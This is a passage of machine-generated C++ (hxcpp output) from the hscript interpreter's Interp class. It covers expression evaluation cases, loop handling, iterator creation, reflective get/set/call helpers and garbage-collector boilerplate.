HXLINE( 392) this->forLoop(v,it,e1);
HXLINE( 393) return null();
}
break;
case (int)12: {
HXLINE( 395) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(::hscript::_Interp::Stop_obj::SBreak_dyn()));
}
break;
case (int)13: {
HXLINE( 397) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(::hscript::_Interp::Stop_obj::SContinue_dyn()));
}
break;
case (int)14: {
HX_BEGIN_LOCAL_FUNC_S7(::hx::LocalFunc,_hx_Closure_0,::String,name, ::hscript::Expr,fexpr, ::hscript::Interp,_gthis,int,minParams, ::hscript::Interp,me,::Array< ::Dynamic>,params, ::haxe::ds::StringMap,capturedLocals) HXARGC(1)
::Dynamic _hx_run(::cpp::VirtualArray args){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_410_expr)
HXLINE( 411) int f;
HXDLIN( 411) if (::hx::IsNull( args )) {
HXLINE( 411) f = 0;
}
else {
HXLINE( 411) f = args->get_length();
}
HXDLIN( 411) if ((f != params->length)) {
HXLINE( 412) if ((args->get_length() < minParams)) {
HXLINE( 413) ::String str = (((HX_("Invalid number of parameters. Got ",cb,2b,d9,b1) + args->get_length()) + HX_(", required ",ed,0c,66,93)) + minParams);
HXLINE( 414) if (::hx::IsNotNull( name )) {
HXLINE( 414) str = (str + ((HX_(" for function '",f6,90,ab,a0) + name) + HX_("'",27,00,00,00)));
}
HXLINE( 415) ::hscript::Error e = ::hscript::Error_obj::ECustom(str);
HXDLIN( 415) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HXLINE( 418) ::cpp::VirtualArray args2 = ::cpp::VirtualArray_obj::__new(0);
HXLINE( 419) int extraParams = (args->get_length() - minParams);
HXLINE( 420) int pos = 0;
HXLINE( 421) {
HXLINE( 421) int _g = 0;
HXDLIN( 421) while((_g < params->length)){
HXLINE( 421) ::Dynamic p = params->__get(_g);
HXDLIN( 421) _g = (_g + 1);
HXLINE( 422) if (( (bool)(p->__Field(HX_("opt",33,9c,54,00),::hx::paccDynamic)) )) {
HXLINE( 423) if ((extraParams > 0)) {
HXLINE( 424) pos = (pos + 1);
HXDLIN( 424) args2->push(args->__get((pos - 1)));
HXLINE( 425) extraParams = (extraParams - 1);
}
else {
HXLINE( 427) args2->push(null());
}
}
else {
HXLINE( 429) pos = (pos + 1);
HXDLIN( 429) args2->push(args->__get((pos - 1)));
}
}
}
HXLINE( 430) args = args2;
}
HXLINE( 432) ::haxe::ds::StringMap old = me->locals;
HXDLIN( 432) int depth = me->depth;
HXLINE( 433) me->depth++;
HXLINE( 434) me->locals = me->duplicate(capturedLocals);
HXLINE( 435) {
HXLINE( 435) int _g = 0;
HXDLIN( 435) int _g1 = params->length;
HXDLIN( 435) while((_g < _g1)){
HXLINE( 435) _g = (_g + 1);
HXDLIN( 435) int i = (_g - 1);
HXLINE( 436) me->locals->set(( (::String)(params->__get(i)->__Field(HX_("name",4b,72,ff,48),::hx::paccDynamic)) ), ::Dynamic(::hx::Anon_obj::Create(1)
->setFixed(0,HX_("r",72,00,00,00),args->__get(i))));
}
}
HXLINE( 437) ::Dynamic r = null();
HXLINE( 438) if (_gthis->inTry) {
HXLINE( 439) try {
HX_STACK_CATCHABLE( ::Dynamic, 0);
HXLINE( 440) r = me->exprReturn(fexpr);
} catch( ::Dynamic _hx_e) {
if (_hx_e.IsClass< ::Dynamic >() ){
HX_STACK_BEGIN_CATCH
::Dynamic _g = _hx_e;
HXLINE( 1) {
HXLINE( 1) null();
}
HXDLIN( 1) ::Dynamic e = ::haxe::Exception_obj::caught(_g)->unwrap();
HXLINE( 442) me->locals = old;
HXLINE( 443) me->depth = depth;
HXLINE( 447) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
else {
HX_STACK_DO_THROW(_hx_e);
}
}
}
else {
HXLINE( 451) r = me->exprReturn(fexpr);
}
HXLINE( 452) me->locals = old;
HXLINE( 453) me->depth = depth;
HXLINE( 454) return r;
}
HX_END_LOCAL_FUNC1(return)
HXLINE( 401) ::hscript::CType _g = e->_hx_getObject(3).StaticCast< ::hscript::CType >();
HXDLIN( 401) ::String name = e->_hx_getString(2);
HXDLIN( 401) ::hscript::Expr fexpr = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 401) ::Array< ::Dynamic> params = e->_hx_getObject(0).StaticCast< ::Array< ::Dynamic> >();
HXLINE( 402) ::haxe::ds::StringMap capturedLocals = this->duplicate(this->locals);
HXLINE( 403) ::hscript::Interp me = ::hx::ObjectPtr<OBJ_>(this);
HXLINE( 404) bool hasOpt = false;
HXDLIN( 404) int minParams = 0;
HXLINE( 405) {
HXLINE( 405) int _g1 = 0;
HXDLIN( 405) while((_g1 < params->length)){
HXLINE( 405) ::Dynamic p = params->__get(_g1);
HXDLIN( 405) _g1 = (_g1 + 1);
HXLINE( 406) if (( (bool)(p->__Field(HX_("opt",33,9c,54,00),::hx::paccDynamic)) )) {
HXLINE( 407) hasOpt = true;
}
else {
HXLINE( 409) minParams = (minParams + 1);
}
}
}
HXLINE( 410) ::Dynamic f = ::Dynamic(new _hx_Closure_0(name,fexpr,_gthis,minParams,me,params,capturedLocals));
HXLINE( 456) ::Dynamic f1 = ::Reflect_obj::makeVarArgs(f);
HXLINE( 457) if (::hx::IsNotNull( name )) {
HXLINE( 458) if ((this->depth == 0)) {
HXLINE( 460) this->variables->set(name,f1);
}
else {
HXLINE( 463) ::Array< ::Dynamic> _hx_tmp = this->declared;
HXDLIN( 463) ::String name1 = name;
HXDLIN( 463) _hx_tmp->push( ::Dynamic(::hx::Anon_obj::Create(2)
->setFixed(0,HX_("n",6e,00,00,00),name1)
->setFixed(1,HX_("old",a7,98,54,00),this->locals->get(name))));
HXLINE( 464) ::Dynamic ref = ::Dynamic(::hx::Anon_obj::Create(1)
->setFixed(0,HX_("r",72,00,00,00),f1));
HXLINE( 465) this->locals->set(name,ref);
HXLINE( 466) capturedLocals->set(name,ref);
}
}
HXLINE( 469) return f1;
}
break;
case (int)15: {
HXLINE( 398) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 399) ::Dynamic _hx_tmp;
HXDLIN( 399) if (::hx::IsNull( e1 )) {
HXLINE( 399) _hx_tmp = null();
}
else {
HXLINE( 399) _hx_tmp = this->expr(e1);
}
HXDLIN( 399) this->returnValue = _hx_tmp;
HXLINE( 400) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(::hscript::_Interp::Stop_obj::SReturn_dyn()));
}
break;
case (int)16: {
HXLINE( 512) ::hscript::Expr index = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 512) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 513) ::Dynamic arr = this->expr(e1);
HXLINE( 514) ::Dynamic index1 = this->expr(index);
HXLINE( 515) if (::Std_obj::isOfType(arr,( ( ::Dynamic)(::hx::ClassOf< ::haxe::IMap >()) ))) {
HXLINE( 516) return ::haxe::IMap_obj::get( ::hx::interface_check(arr,0x09c2bd39),index1);
}
else {
HXLINE( 519) return arr->__GetItem(( (int)(index1) ));
}
}
break;
case (int)17: {
HXLINE( 470) ::Array< ::Dynamic> arr = e->_hx_getObject(0).StaticCast< ::Array< ::Dynamic> >();
HXLINE( 471) bool _hx_tmp;
HXDLIN( 471) if ((arr->length > 0)) {
HXLINE( 471) ::hscript::Expr _g = arr->__get(0).StaticCast< ::hscript::Expr >();
HXDLIN( 471) if ((_g->_hx_getIndex() == 6)) {
HXLINE( 471) ::hscript::Expr _g1 = _g->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 471) ::hscript::Expr _g2 = _g->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 471) if ((_g->_hx_getString(0) == HX_("=>",61,35,00,00))) {
HXLINE( 471) _hx_tmp = true;
}
else {
HXLINE( 471) _hx_tmp = false;
}
}
else {
HXLINE( 471) _hx_tmp = false;
}
}
else {
HXLINE( 471) _hx_tmp = false;
}
HXDLIN( 471) if (_hx_tmp) {
HXLINE( 472) bool isAllString = true;
HXLINE( 473) bool isAllInt = true;
HXLINE( 474) bool isAllObject = true;
HXLINE( 475) bool isAllEnum = true;
HXLINE( 476) ::cpp::VirtualArray keys = ::cpp::VirtualArray_obj::__new(0);
HXLINE( 477) ::cpp::VirtualArray values = ::cpp::VirtualArray_obj::__new(0);
HXLINE( 478) {
HXLINE( 478) int _g = 0;
HXDLIN( 478) while((_g < arr->length)){
HXLINE( 478) ::hscript::Expr e = arr->__get(_g).StaticCast< ::hscript::Expr >();
HXDLIN( 478) _g = (_g + 1);
HXLINE( 479) if ((e->_hx_getIndex() == 6)) {
HXLINE( 480) if ((e->_hx_getString(0) == HX_("=>",61,35,00,00))) {
HXLINE( 480) ::hscript::Expr eValue = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 480) ::hscript::Expr eKey = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 480) {
HXLINE( 481) ::Dynamic key = this->expr(eKey);
HXLINE( 482) ::Dynamic value = this->expr(eValue);
HXLINE( 483) if (isAllString) {
HXLINE( 483) isAllString = ::Std_obj::isOfType(key,( ( ::Dynamic)(::hx::ClassOf< ::String >()) ));
}
else {
HXLINE( 483) isAllString = false;
}
HXLINE( 484) if (isAllInt) {
HXLINE( 484) isAllInt = ::Std_obj::isOfType(key,( ( ::Dynamic)(::hx::ClassOf< int >()) ));
}
else {
HXLINE( 484) isAllInt = false;
}
HXLINE( 485) if (isAllObject) {
HXLINE( 485) isAllObject = ::Reflect_obj::isObject(key);
}
else {
HXLINE( 485) isAllObject = false;
}
HXLINE( 486) if (isAllEnum) {
HXLINE( 486) isAllEnum = ::Reflect_obj::isEnumValue(key);
}
else {
HXLINE( 486) isAllEnum = false;
}
HXLINE( 487) keys->push(key);
HXLINE( 488) values->push(value);
}
}
else {
HXLINE( 490) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(HX_("=> expected",17,e5,65,e5)));
}
}
else {
HXLINE( 490) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(HX_("=> expected",17,e5,65,e5)));
}
}
}
HXLINE( 493) ::Dynamic map;
HXLINE( 494) if (isAllInt) {
HXLINE( 493) map = ::haxe::ds::IntMap_obj::__alloc( HX_CTX );
}
else {
HXLINE( 495) if (isAllString) {
HXLINE( 493) map = ::haxe::ds::StringMap_obj::__alloc( HX_CTX );
}
else {
HXLINE( 496) if (isAllEnum) {
HXLINE( 493) map = ::haxe::ds::EnumValueMap_obj::__alloc( HX_CTX );
}
else {
HXLINE( 497) if (isAllObject) {
HXLINE( 493) map = ::haxe::ds::ObjectMap_obj::__alloc( HX_CTX );
}
else {
HXLINE( 498) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(HX_("Inconsistent key types",af,4f,50,a9)));
}
}
}
}
HXLINE( 500) {
HXLINE( 500) int _g1 = 0;
HXDLIN( 500) int _g2 = keys->get_length();
HXDLIN( 500) while((_g1 < _g2)){
HXLINE( 500) _g1 = (_g1 + 1);
HXDLIN( 500) int n = (_g1 - 1);
HXLINE( 501) ::haxe::IMap_obj::set( ::hx::interface_check(map,0x09c2bd39),keys->__get(n),values->__get(n));
}
}
HXLINE( 503) return map;
}
else {
HXLINE( 506) ::cpp::VirtualArray a = ::cpp::VirtualArray_obj::__new();
HXLINE( 507) {
HXLINE( 507) int _g = 0;
HXDLIN( 507) while((_g < arr->length)){
HXLINE( 507) ::hscript::Expr e = arr->__get(_g).StaticCast< ::hscript::Expr >();
HXDLIN( 507) _g = (_g + 1);
HXLINE( 508) a->push(this->expr(e));
}
}
HXLINE( 510) return a;
}
}
break;
case (int)18: {
HXLINE( 521) ::Array< ::Dynamic> params = e->_hx_getObject(1).StaticCast< ::Array< ::Dynamic> >();
HXDLIN( 521) ::String cl = e->_hx_getString(0);
HXLINE( 522) ::cpp::VirtualArray a = ::cpp::VirtualArray_obj::__new();
HXLINE( 523) {
HXLINE( 523) int _g = 0;
HXDLIN( 523) while((_g < params->length)){
HXLINE( 523) ::hscript::Expr e = params->__get(_g).StaticCast< ::hscript::Expr >();
HXDLIN( 523) _g = (_g + 1);
HXLINE( 524) a->push(this->expr(e));
}
}
HXLINE( 525) return this->cnew(cl,a);
}
break;
case (int)19: {
HXLINE( 526) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 527) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(this->expr(e1)));
}
break;
case (int)20: {
HXLINE( 528) ::hscript::CType _g = e->_hx_getObject(2).StaticCast< ::hscript::CType >();
HXDLIN( 528) ::hscript::Expr ecatch = e->_hx_getObject(3).StaticCast< ::hscript::Expr >();
HXDLIN( 528) ::String n = e->_hx_getString(1);
HXDLIN( 528) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 529) int old = this->declared->length;
HXLINE( 530) bool oldTry = this->inTry;
HXLINE( 531) try {
HX_STACK_CATCHABLE( ::Dynamic, 0);
HXLINE( 532) this->inTry = true;
HXLINE( 533) ::Dynamic v = this->expr(e1);
HXLINE( 534) this->restore(old);
HXLINE( 535) this->inTry = oldTry;
HXLINE( 536) return v;
} catch( ::Dynamic _hx_e) {
if (_hx_e.IsClass< ::Dynamic >() ){
HX_STACK_BEGIN_CATCH
::Dynamic _g = _hx_e;
HXLINE( 1) {
HXLINE( 1) null();
}
HXDLIN( 1) ::Dynamic _g1 = ::haxe::Exception_obj::caught(_g)->unwrap();
HXLINE( 531) if (::Std_obj::isOfType(_g1,::hx::ClassOf< ::hscript::_Interp::Stop >())) {
HXLINE( 1) ::hscript::_Interp::Stop err = _g1;
HXLINE( 538) this->inTry = oldTry;
HXLINE( 539) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(err));
}
else {
HXLINE( 1) ::Dynamic err = _g1;
HXLINE( 542) this->restore(old);
HXLINE( 543) this->inTry = oldTry;
HXLINE( 545) ::Array< ::Dynamic> _hx_tmp = this->declared;
HXDLIN( 545) _hx_tmp->push( ::Dynamic(::hx::Anon_obj::Create(2)
->setFixed(0,HX_("n",6e,00,00,00),n)
->setFixed(1,HX_("old",a7,98,54,00),this->locals->get(n))));
HXLINE( 546) this->locals->set(n, ::Dynamic(::hx::Anon_obj::Create(1)
->setFixed(0,HX_("r",72,00,00,00),err)));
HXLINE( 547) ::Dynamic v = this->expr(ecatch);
HXLINE( 548) this->restore(old);
HXLINE( 549) return v;
}
}
else {
HX_STACK_DO_THROW(_hx_e);
}
}
}
break;
case (int)21: {
HXLINE( 551) ::Array< ::Dynamic> fl = e->_hx_getObject(0).StaticCast< ::Array< ::Dynamic> >();
HXLINE( 552) ::Dynamic o = ::Dynamic(::hx::Anon_obj::Create(0));
HXLINE( 553) {
HXLINE( 553) int _g = 0;
HXDLIN( 553) while((_g < fl->length)){
HXLINE( 553) ::Dynamic f = fl->__get(_g);
HXDLIN( 553) _g = (_g + 1);
HXLINE( 554) ::String f1 = ( (::String)(f->__Field(HX_("name",4b,72,ff,48),::hx::paccDynamic)) );
HXDLIN( 554) this->set(o,f1,this->expr(f->__Field(HX_("e",65,00,00,00),::hx::paccDynamic)));
}
}
HXLINE( 555) return o;
}
break;
case (int)22: {
HXLINE( 556) ::hscript::Expr e2 = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 556) ::hscript::Expr e1 = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 556) ::hscript::Expr econd = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 557) if (::hx::IsEq( this->expr(econd),true )) {
HXLINE( 557) return this->expr(e1);
}
else {
HXLINE( 557) return this->expr(e2);
}
}
break;
case (int)23: {
HXLINE( 558) ::hscript::Expr def = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 558) ::Array< ::Dynamic> cases = e->_hx_getObject(1).StaticCast< ::Array< ::Dynamic> >();
HXDLIN( 558) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 559) ::Dynamic val = this->expr(e1);
HXLINE( 560) bool match = false;
HXLINE( 561) {
HXLINE( 561) int _g = 0;
HXDLIN( 561) while((_g < cases->length)){
HXLINE( 561) ::Dynamic c = cases->__get(_g);
HXDLIN( 561) _g = (_g + 1);
HXLINE( 562) {
HXLINE( 562) int _g1 = 0;
HXDLIN( 562) ::Array< ::Dynamic> _g2 = ( (::Array< ::Dynamic>)(c->__Field(HX_("values",e2,03,b7,4f),::hx::paccDynamic)) );
HXDLIN( 562) while((_g1 < _g2->length)){
HXLINE( 562) ::hscript::Expr v = _g2->__get(_g1).StaticCast< ::hscript::Expr >();
HXDLIN( 562) _g1 = (_g1 + 1);
HXLINE( 563) if (::hx::IsEq( this->expr(v),val )) {
HXLINE( 564) match = true;
HXLINE( 565) goto _hx_goto_62;
}
}
_hx_goto_62:;
}
HXLINE( 567) if (match) {
HXLINE( 568) val = this->expr(c->__Field(HX_("expr",35,fd,1d,43),::hx::paccDynamic));
HXLINE( 569) goto _hx_goto_61;
}
}
_hx_goto_61:;
}
HXLINE( 572) if (!(match)) {
HXLINE( 573) if (::hx::IsNull( def )) {
HXLINE( 573) val = null();
}
else {
HXLINE( 573) val = this->expr(def);
}
}
HXLINE( 574) return val;
}
break;
case (int)24: {
HXLINE( 388) ::hscript::Expr e1 = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 388) ::hscript::Expr econd = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 389) this->doWhileLoop(econd,e1);
HXLINE( 390) return null();
}
break;
case (int)25: {
HXLINE( 575) ::Array< ::Dynamic> _g = e->_hx_getObject(1).StaticCast< ::Array< ::Dynamic> >();
HXDLIN( 575) ::String _g1 = e->_hx_getString(0);
HXDLIN( 575) ::hscript::Expr e1 = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXLINE( 576) return this->expr(e1);
}
break;
case (int)26: {
HXLINE( 577) ::hscript::CType _g = e->_hx_getObject(1).StaticCast< ::hscript::CType >();
HXDLIN( 577) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 578) return this->expr(e1);
}
break;
}
HXLINE( 320) return null();
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,expr,return )
void Interp_obj::doWhileLoop( ::hscript::Expr econd, ::hscript::Expr e){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_583_doWhileLoop)
HXLINE( 584) int old = this->declared->length;
HXLINE( 585) while(true){
HXLINE( 586) try {
HX_STACK_CATCHABLE( ::Dynamic, 0);
HXLINE( 587) this->expr(e);
} catch( ::Dynamic _hx_e) {
if (_hx_e.IsClass< ::Dynamic >() ){
HX_STACK_BEGIN_CATCH
::Dynamic _g = _hx_e;
HXLINE( 1) {
HXLINE( 1) null();
}
HXDLIN( 1) ::Dynamic _g1 = ::haxe::Exception_obj::caught(_g)->unwrap();
HXLINE( 586) if (::Std_obj::isOfType(_g1,::hx::ClassOf< ::hscript::_Interp::Stop >())) {
HXLINE( 1) ::hscript::_Interp::Stop err = _g1;
HXLINE( 589) switch((int)(err->_hx_getIndex())){
case (int)0: {
HXLINE( 591) goto _hx_goto_65;
}
break;
case (int)1: {
}
break;
case (int)2: {
HXLINE( 592) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(err));
}
break;
}
}
else {
HXLINE( 586) HX_STACK_DO_THROW(_g);
}
}
else {
HX_STACK_DO_THROW(_hx_e);
}
}
HXLINE( 585) if (!(::hx::IsEq( this->expr(econd),true ))) {
HXLINE( 585) goto _hx_goto_65;
}
}
_hx_goto_65:;
HXLINE( 597) this->restore(old);
}
HX_DEFINE_DYNAMIC_FUNC2(Interp_obj,doWhileLoop,(void))
void Interp_obj::whileLoop( ::hscript::Expr econd, ::hscript::Expr e){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_600_whileLoop)
HXLINE( 601) int old = this->declared->length;
HXLINE( 602) while(::hx::IsEq( this->expr(econd),true )){
HXLINE( 603) try {
HX_STACK_CATCHABLE( ::Dynamic, 0);
HXLINE( 604) this->expr(e);
} catch( ::Dynamic _hx_e) {
if (_hx_e.IsClass< ::Dynamic >() ){
HX_STACK_BEGIN_CATCH
::Dynamic _g = _hx_e;
HXLINE( 1) {
HXLINE( 1) null();
}
HXDLIN( 1) ::Dynamic _g1 = ::haxe::Exception_obj::caught(_g)->unwrap();
HXLINE( 603) if (::Std_obj::isOfType(_g1,::hx::ClassOf< ::hscript::_Interp::Stop >())) {
HXLINE( 1) ::hscript::_Interp::Stop err = _g1;
HXLINE( 606) switch((int)(err->_hx_getIndex())){
case (int)0: {
HXLINE( 608) goto _hx_goto_67;
}
break;
case (int)1: {
}
break;
case (int)2: {
HXLINE( 609) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(err));
}
break;
}
}
else {
HXLINE( 603) HX_STACK_DO_THROW(_g);
}
}
else {
HX_STACK_DO_THROW(_hx_e);
}
}
}
_hx_goto_67:;
HXLINE( 613) this->restore(old);
}
HX_DEFINE_DYNAMIC_FUNC2(Interp_obj,whileLoop,(void))
::Dynamic Interp_obj::makeIterator( ::Dynamic v){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_616_makeIterator)
HXLINE( 620) try {
HX_STACK_CATCHABLE( ::Dynamic, 0);
HXLINE( 620) v = v->__Field(HX_("iterator",ee,49,9a,93),::hx::paccDynamic)();
} catch( ::Dynamic _hx_e) {
if (_hx_e.IsClass< ::Dynamic >() ){
HX_STACK_BEGIN_CATCH
::Dynamic _g = _hx_e;
HXLINE( 1) {
HXLINE( 1) null();
}
}
else {
HX_STACK_DO_THROW(_hx_e);
}
}
HXLINE( 622) bool _hx_tmp;
HXDLIN( 622) if (::hx::IsNotNull( v->__Field(HX_("hasNext",6d,a5,46,18),::hx::paccDynamic) )) {
HXLINE( 622) _hx_tmp = ::hx::IsNull( v->__Field(HX_("next",f3,84,02,49),::hx::paccDynamic) );
}
else {
HXLINE( 622) _hx_tmp = true;
}
HXDLIN( 622) if (_hx_tmp) {
HXLINE( 622) ::hscript::Error e = ::hscript::Error_obj::EInvalidIterator(v);
HXDLIN( 622) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HXLINE( 623) return v;
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,makeIterator,return )
void Interp_obj::forLoop(::String n, ::hscript::Expr it, ::hscript::Expr e){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_626_forLoop)
HXLINE( 627) int old = this->declared->length;
HXLINE( 628) ::Array< ::Dynamic> _hx_tmp = this->declared;
HXDLIN( 628) _hx_tmp->push( ::Dynamic(::hx::Anon_obj::Create(2)
->setFixed(0,HX_("n",6e,00,00,00),n)
->setFixed(1,HX_("old",a7,98,54,00),this->locals->get(n))));
HXLINE( 629) ::Dynamic it1 = this->makeIterator(this->expr(it));
HXLINE( 630) while(( (bool)(it1->__Field(HX_("hasNext",6d,a5,46,18),::hx::paccDynamic)()) )){
HXLINE( 631) {
HXLINE( 631) ::Dynamic this1 = this->locals;
HXDLIN( 631) ( ( ::haxe::ds::StringMap)(this1) )->set(n, ::Dynamic(::hx::Anon_obj::Create(1)
->setFixed(0,HX_("r",72,00,00,00),it1->__Field(HX_("next",f3,84,02,49),::hx::paccDynamic)())));
}
HXLINE( 632) try {
HX_STACK_CATCHABLE( ::Dynamic, 0);
HXLINE( 633) this->expr(e);
} catch( ::Dynamic _hx_e) {
if (_hx_e.IsClass< ::Dynamic >() ){
HX_STACK_BEGIN_CATCH
::Dynamic _g = _hx_e;
HXLINE( 1) {
HXLINE( 1) null();
}
HXDLIN( 1) ::Dynamic _g1 = ::haxe::Exception_obj::caught(_g)->unwrap();
HXLINE( 632) if (::Std_obj::isOfType(_g1,::hx::ClassOf< ::hscript::_Interp::Stop >())) {
HXLINE( 1) ::hscript::_Interp::Stop err = _g1;
HXLINE( 635) switch((int)(err->_hx_getIndex())){
case (int)0: {
HXLINE( 637) goto _hx_goto_70;
}
break;
case (int)1: {
}
break;
case (int)2: {
HXLINE( 638) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(err));
}
break;
}
}
else {
HXLINE( 632) HX_STACK_DO_THROW(_g);
}
}
else {
HX_STACK_DO_THROW(_hx_e);
}
}
}
_hx_goto_70:;
HXLINE( 642) this->restore(old);
}
HX_DEFINE_DYNAMIC_FUNC3(Interp_obj,forLoop,(void))
bool Interp_obj::isMap( ::Dynamic o){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_646_isMap)
HXDLIN( 646) return ::Std_obj::isOfType(o,( ( ::Dynamic)(::hx::ClassOf< ::haxe::IMap >()) ));
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,isMap,return )
::Dynamic Interp_obj::getMapValue( ::Dynamic map, ::Dynamic key){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_650_getMapValue)
HXDLIN( 650) return ::haxe::IMap_obj::get( ::hx::interface_check(map,0x09c2bd39),key);
}
HX_DEFINE_DYNAMIC_FUNC2(Interp_obj,getMapValue,return )
void Interp_obj::setMapValue( ::Dynamic map, ::Dynamic key, ::Dynamic value){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_654_setMapValue)
HXDLIN( 654) ::haxe::IMap_obj::set( ::hx::interface_check(map,0x09c2bd39),key,value);
}
HX_DEFINE_DYNAMIC_FUNC3(Interp_obj,setMapValue,(void))
::Dynamic Interp_obj::get( ::Dynamic o,::String f){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_657_get)
HXLINE( 658) if (::hx::IsNull( o )) {
HXLINE( 658) ::hscript::Error e = ::hscript::Error_obj::EInvalidAccess(f);
HXDLIN( 658) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HXLINE( 659) return ::Reflect_obj::getProperty(o,f);
}
HX_DEFINE_DYNAMIC_FUNC2(Interp_obj,get,return )
::Dynamic Interp_obj::set( ::Dynamic o,::String f, ::Dynamic v){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_673_set)
HXLINE( 674) if (::hx::IsNull( o )) {
HXLINE( 674) ::hscript::Error e = ::hscript::Error_obj::EInvalidAccess(f);
HXDLIN( 674) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HXLINE( 675) ::Reflect_obj::setProperty(o,f,v);
HXLINE( 676) return v;
}
HX_DEFINE_DYNAMIC_FUNC3(Interp_obj,set,return )
::Dynamic Interp_obj::fcall( ::Dynamic o,::String f,::cpp::VirtualArray args){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_680_fcall)
HXDLIN( 680) return this->call(o,this->get(o,f),args);
}
HX_DEFINE_DYNAMIC_FUNC3(Interp_obj,fcall,return )
::Dynamic Interp_obj::call( ::Dynamic o, ::Dynamic f,::cpp::VirtualArray args){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_684_call)
HXDLIN( 684) return ::Reflect_obj::callMethod(o,f,args);
}
HX_DEFINE_DYNAMIC_FUNC3(Interp_obj,call,return )
::Dynamic Interp_obj::cnew(::String cl,::cpp::VirtualArray args){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_687_cnew)
HXLINE( 688) ::hx::Class c = ::Type_obj::resolveClass(cl);
HXLINE( 689) if (::hx::IsNull( c )) {
HXLINE( 689) c = this->resolve(cl);
}
HXLINE( 690) return ::Type_obj::createInstance(c,args);
}
HX_DEFINE_DYNAMIC_FUNC2(Interp_obj,cnew,return )
::hx::ObjectPtr< Interp_obj > Interp_obj::__new() {
::hx::ObjectPtr< Interp_obj > __this = new Interp_obj();
__this->__construct();
return __this;
}
::hx::ObjectPtr< Interp_obj > Interp_obj::__alloc(::hx::Ctx *_hx_ctx) {
Interp_obj *__this = (Interp_obj*)(::hx::Ctx::alloc(_hx_ctx, sizeof(Interp_obj), true, "hscript.Interp"));
*(void **)__this = Interp_obj::_hx_vtable;
__this->__construct();
return __this;
}
Interp_obj::Interp_obj()
{
}
void Interp_obj::__Mark(HX_MARK_PARAMS)
{
HX_MARK_BEGIN_CLASS(Interp);
HX_MARK_MEMBER_NAME(variables,"variables");
HX_MARK_MEMBER_NAME(locals,"locals");
HX_MARK_MEMBER_NAME(binops,"binops");
HX_MARK_MEMBER_NAME(depth,"depth");
HX_MARK_MEMBER_NAME(inTry,"inTry");
HX_MARK_MEMBER_NAME(declared,"declared");
HX_MARK_MEMBER_NAME(returnValue,"returnValue");
HX_MARK_END_CLASS();
}
void Interp_obj::__Visit(HX_VISIT_PARAMS)
{
HX_VISIT_MEMBER_NAME(variables,"variables");
HX_VISIT_MEMBER_NAME(locals,"locals");
HX_VISIT_MEMBER_NAME(binops,"binops");
HX_VISIT_MEMBER_NAME(depth,"depth");
HX_VISIT_MEMBER_NAME(inTry,"inTry");
HX_VISIT_MEMBER_NAME(declared,"declared");
HX_VISIT_MEMBER_NAME(returnValue,"returnValue");
}
::hx::Val Interp_obj::__Field(const ::String &inName,::hx::PropertyAccess inCallProp)
{
switch(inName.length) {
case 3:
if (HX_FIELD_EQ(inName,"get") ) { return ::hx::Val( get_dyn() ); }
if (HX_FIELD_EQ(inName,"set") ) { return ::hx::Val( set_dyn() ); }
break;
case 4:
if (HX_FIELD_EQ(inName,"expr") ) { return ::hx::Val( expr_dyn() ); }
if (HX_FIELD_EQ(inName,"call") ) { return ::hx::Val( call_dyn() ); }
if (HX_FIELD_EQ(inName,"cnew") ) { return ::hx::Val( cnew_dyn() ); }
break;
case 5:
if (HX_FIELD_EQ(inName,"depth") ) { return ::hx::Val( depth ); }
